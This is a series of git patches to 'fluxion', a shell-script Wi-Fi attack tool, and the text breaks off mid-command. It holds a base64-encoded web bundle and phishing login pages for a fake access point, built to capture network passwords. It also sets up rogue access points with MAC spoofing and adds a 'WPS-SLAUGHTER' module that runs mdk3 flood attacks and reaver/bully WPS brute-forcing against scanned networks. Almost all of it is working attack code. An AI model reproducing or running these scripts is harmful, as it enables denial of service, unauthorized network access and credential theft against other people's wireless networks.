-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 -" | base64 -d >$DUMP_PATH/file.zip - - unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device - rm $DUMP_PATH/file.zip &>$flux_output_device - - echo " - - - Login - - - - - - - -
-
-

Login Page

-
- -
- - "$DIALOG_WEB_OK" -
- -
- -
-
-
-
-

-
- -
- -
- -
-
-
- - - ">$DUMP_PATH/data/final.html - echo " - - - Login - - - - - - -
-
-

Login Page

-
- -
- - "$DIALOG_WEB_ERROR" -
- "$DIALOG_WEB_BACK" - -
- -
- -
-
-
-
-

-
- -
+# Attack +function attack { -
+ if [ "$fakeapmode" = "hostapd" ]; then + interfaceroutear=$WIFI + elif [ "$fakeapmode" = "airbase-ng" ]; then + interfaceroutear=at0 + fi -
-
-
- - - ">$DUMP_PATH/data/error.html + handshakecheck + nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - echo " - - - Login - - - - - - - -
-
-

Login Page

-
- -
-
-
-
- -
ESSID:
- -
$Host_SSID
- -
BSSID:
- -
$Host_MAC
- -
Chan:
- -
$Host_CHAN
- -
- -
- - "$DIALOG_WEB_INFO" -
- -
- - - -
- -
- -
- -
-
-
-
-

-
- -
- -
+ ifconfig $WIFI down + sleep 0.4 + macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device + sleep 0.4 + ifconfig $WIFI up + sleep 0.4 + fi -
-
-
- - - ">$DUMP_PATH/data/index.htm -} -######################################### < INTERFACE WEB > ######################################## - - -mostrarheader && setresolution && setinterface -$HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & + if [ $fakeapmode = "hostapd" ]; then + killall hostapd &> $flux_output_device + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & From fa24dc1330cb57a6b32cf9584c58a866d66f424c Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 15:26:02 +0400 Subject: [PATCH 033/294] Restore Changes --- fluxion | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/fluxion b/fluxion index ba7e8d3..7884bea 100755 --- a/fluxion +++ b/fluxion @@ -256,12 +256,13 @@ function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" echo -e "$blue# #" - echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo""$blue #"${blue} - echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$blue #" + echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" + echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" echo echo + } ##################################### < CONFIGURACION > ##################################### From 2aacb222c220d2e3d41d304a939157067028d0fa Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 15:47:42 +0400 Subject: [PATCH 034/294] Update fluxion --- fluxion | 1201 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 1192 insertions(+), 9 deletions(-) diff --git a/fluxion b/fluxion index 7884bea..87d2a31 100755 --- a/fluxion +++ b/fluxion @@ -10,10 +10,8 @@ clear - ##################################### < CONFIGURATION > ##################################### - - + DUMP_PATH="/tmp/TMPflux" # Number de desautentificaciones DEAUTHTIME="30" @@ -256,13 +254,12 @@ function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" echo -e "$blue# #" - echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" - echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" + echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo""$blue #"${blue} + echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$blue #" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" echo echo - } ##################################### < CONFIGURACION > ##################################### @@ -839,7 +836,10 @@ function askAP { echo " " echo -e " "$blue"1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" echo -e " "$blue"2)"$transparent" airbase-ng (Slower connection)" - echo -e " "$blue"3)"$transparent" Back" + echo -e " "$blue"3)"$transparent" WPS-SLAUGHTER" + echo -e " "$blue"4)"$transparent" Wifite" + echo -e " "$blue"5)"$transparent" Wifi-Phisher" + echo -e " "$blue"6)"$transparent" Back" echo " " echo -n " #> " read yn @@ -847,7 +847,10 @@ function askAP { case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) selection; break ;; + 3 ) fakeapmode="WPS-SLAUGHTER"; wps; break ;; + 4 ) fakeapmode="Wifite" ; wifite ; break ;; + 5 ) fakeapmode="Wifi-Phisher" wifi-phisher ; break;; + 6 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac done @@ -882,6 +885,1186 @@ Unknown option. Choose again"; conditional_clear ;; } +function wifi-phisher { +sudo python wifiphisher.py +} + +function wifite { +sudo python wifite.py +} + +function wps { +clear +declare BSSID; +declare ESSID; +declare CHANNEL; +declare WIFI_MONITOR1; +declare WIFI_MONITOR2; +declare WIFI_MONITOR3; +declare WIFI_MONITOR4; +declare WIFI_MONITOR5; + +echo " +██╗ ██╗██████╗ ███████╗ ███████╗██╗ █████╗ ██╗ ██╗ ██████╗ ██╗ ██╗████████╗███████╗██████╗ +██║ ██║██╔══██╗██╔════╝ ██╔════╝██║ ██╔══██╗██║ ██║██╔════╝ ██║ ██║╚══██╔══╝██╔════╝██╔══██╗ +██║ █╗ ██║██████╔╝███████╗█████╗███████╗██║ ███████║██║ ██║██║ ███╗███████║ ██║ █████╗ ██████╔╝ +██║███╗██║██╔═══╝ ╚════██║╚════╝╚════██║██║ ██╔══██║██║ ██║██║ ██║██╔══██║ ██║ ██╔══╝ ██╔══██╗ +╚███╔███╔╝██║ ███████║ ███████║███████╗██║ ██║╚██████╔╝╚██████╔╝██║ ██║ ██║ ███████╗██║ ██║ +╚══╝╚══╝ ╚═╝ ╚══════╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ + +" + +echo "WPS-SLAUGHTER BY: Apathetic Euphoria" +echo "+ Help and Support from Aanarchyy" + +sleep 3 +clear + +sudo rfkill unblock all + +#####Functions for Monitor Mode#### + +enable_mon_mode_1() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR1" +sudo ifconfig $WIFI_MONITOR1 down +sleep 1 +sudo iwconfig $WIFI_MONITOR1 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR1 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_2() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR2" +sudo ifconfig $WIFI_MONITOR2 down +sleep 1 +sudo iwconfig $WIFI_MONITOR2 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR2 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_3() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR3" +sudo ifconfig $WIFI_MONITOR3 down +sleep 1 +sudo iwconfig $WIFI_MONITOR3 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR3 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_4() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR4" +sudo ifconfig $WIFI_MONITOR4 down +sleep 1 +sudo iwconfig $WIFI_MONITOR4 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR4 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_5() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR5" +sudo ifconfig $WIFI_MONITOR5 down +sleep 1 +sudo iwconfig $WIFI_MONITOR5 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR5 up +echo "Monitor Mode Enabled" +} + +####End of Functions for Monitor Mode#### + +#### Functions for MAC CHANGER #### + +mac_change_1() +{ +echo "Setting the MAC Address on $WIFI_MONITOR1" +sudo ifconfig $WIFI_MONITOR1 down +sleep 3 +macchanger $WIFI_MONITOR1 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR1 up +echo "MAC Changed" +} + +mac_change_2() +{ +echo "Setting the MAC Address on $WIFI_MONITOR2" +sudo ifconfig $WIFI_MONITOR2 down +sleep 3 +macchanger $WIFI_MONITOR2 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR2 up +echo "MAC Changed" +} + +mac_change_3() +{ +echo "Setting the MAC Address on $WIFI_MONITOR3" +sudo ifconfig $WIFI_MONITOR3 down +sleep 3 +macchanger $WIFI_MONITOR3 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR3 up +echo "MAC Changed" +} + +mac_change_4() +{ +echo "Setting the MAC Address on $WIFI_MONITOR4" +sudo ifconfig $WIFI_MONITOR4 down +sleep 3 +macchanger $WIFI_MONITOR4 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR4 up +echo "MAC Changed" +} + +mac_change_5() +{ +echo "Setting the MAC Address on $WIFI_MONITOR5" +sudo ifconfig $WIFI_MONITOR5 down +sleep 3 +macchanger $WIFI_MONITOR5 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR5 up +echo "MAC Changed" +} + +####End of Functions for MAC CHANGER #### + + +####Target Scanner#### + +scan_for_targets() +{ + +sudo ifconfig $WIFI_MONITOR1 down +sudo iwconfig $WIFI_MONITOR1 mode managed +sudo ifconfig $WIFI_MONITOR1 up + +eval $(sudo iwlist $WIFI_MONITOR1 scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') + +wps-wifi-monitor + +read a +case $a in + + 0) +clear +scan_for_targets +;; + 1) +BSSID=$BSSID1 +ESSID=$ESSID1 +CHANNEL=$CHANNEL1 +;; + 2) +BSSID=$BSSID2 +ESSID=$ESSID2 +CHANNEL=$CHANNEL2 +;; + 3) +BSSID=$BSSID3 +ESSID=$ESSID3 +CHANNEL=$CHANNEL3 +;; + 4) +BSSID=$BSSID4 +ESSID=$ESSID4 +CHANNEL=$CHANNEL4 +;; + 5) +BSSID=$BSSID5 +ESSID=$ESSID5 +CHANNEL=$CHANNEL5 +;; + 6) +BSSID=$BSSID6 +ESSID=$ESSID6 +CHANNEL=$CHANNEL6 +;; + 7) +BSSID=$BSSID7 +ESSID=$ESSID7 +CHANNEL=$CHANNEL7 +;; + 8) +BSSID=$BSSID8 +ESSID=$ESSID8 +CHANNEL=$CHANNEL8 +;; + 9) +BSSID=$BSSID9 +ESSID=$ESSID9 +CHANNEL=$CHANNEL9 +;; + 10) +BSSID=$BSSID10 +ESSID=$ESSID10 +CHANNEL=$CHANNEL10 +;; + 11) +BSSID=$BSSID11 +ESSID=$ESSID11 +CHANNEL=$CHANNEL11 +;; + 12) +BSSID=$BSSID12 +ESSID=$ESSID12 +CHANNEL=$CHANNEL12 +;; + 13) +BSSID=$BSSID13 +ESSID=$ESSID13 +CHANNEL=$CHANNEL13 +;; + 14) +BSSID=$BSSID14 +ESSID=$ESSID14 +CHANNEL=$CHANNEL14 +;; + 15) +BSSID=$BSSID15 +ESSID=$ESSID15 +CHANNEL=$CHANNEL15 +;; + 16) +BSSID=$BSSID16 +ESSID=$ESSID16 +CHANNEL=$CHANNEL16 +;; + 17) +BSSID=$BSSID17 +ESSID=$ESSID17 +CHANNEL=$CHANNEL17 +;; + 18) +BSSID=$BSSID18 +ESSID=$ESSID18 +CHANNEL=$CHANNEL18 +;; + 19) +BSSID=$BSSID19 +ESSID=$ESSID19 +CHANNEL=$CHANNEL19 +;; + 20) +BSSID=$BSSID20 +ESSID=$ESSID20 +CHANNEL=$CHANNEL20 +;; + *) +Invalid Option +;; +esac + +} + +####End of Target Scanner#### + +################################## Functions For MDK3 ######################################## + +run_mdk3_ASOC1() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m" +} + +run_mdk3_EAPOL1() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC2() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m" +} + +run_mdk3_EAPOL2() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC3() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m" +} + +run_mdk3_EAPOL3() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC4() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m" +} + +run_mdk3_EAPOL4() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC5() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m" +} + +run_mdk3_EAPOL5() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250" +} + +##################################End Of Functions For MDK3 ######################################## + + +echo "************** - How Many Wlan WIFI_MONITORs Would You Like To Use? - ************** +1)1 WIFI_MONITOR +2)2 WIFI_MONITORs +3)3 WIFI_MONITORs +4)4 WIFI_MONITORs +5)5 WIFI_MONITORs" + +read a +case $a in + 1) +clear + +echo +read -p " - What is the name of your Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR1; + +clear + +scan_for_targets + + +clear + +enable_mon_mode_1 + +sleep 1 + +clear + +echo "************** - Would you like to Change the Wlan WIFI_MONITOR's MAC Address? - ************** +1)Yes +2)No" + +read c +case $c in + 1) +clear + +mac_change_1 + +sleep 1 + +clear +;; + 2) +clear +;; + *)Invalid Option +;; +esac + + +menu () { +clear +echo "************** - Which Attack Would You Like To Use? - ************** +0)Select New Target Network +1)EAPOL Start Flood +2)Authentication Flood +3)Reaver +4)Check if Access Point WPS is UNLOCKED +5)Reaver with AutoFlood(ASOC) +6)Reaver with AutoFlood(EAPOL) +7)Bully +8)Bully with AutoFlood(ASOC) +9)Bully with AutoFlood(EAPOL) + +*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" + +read d +case $d in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i 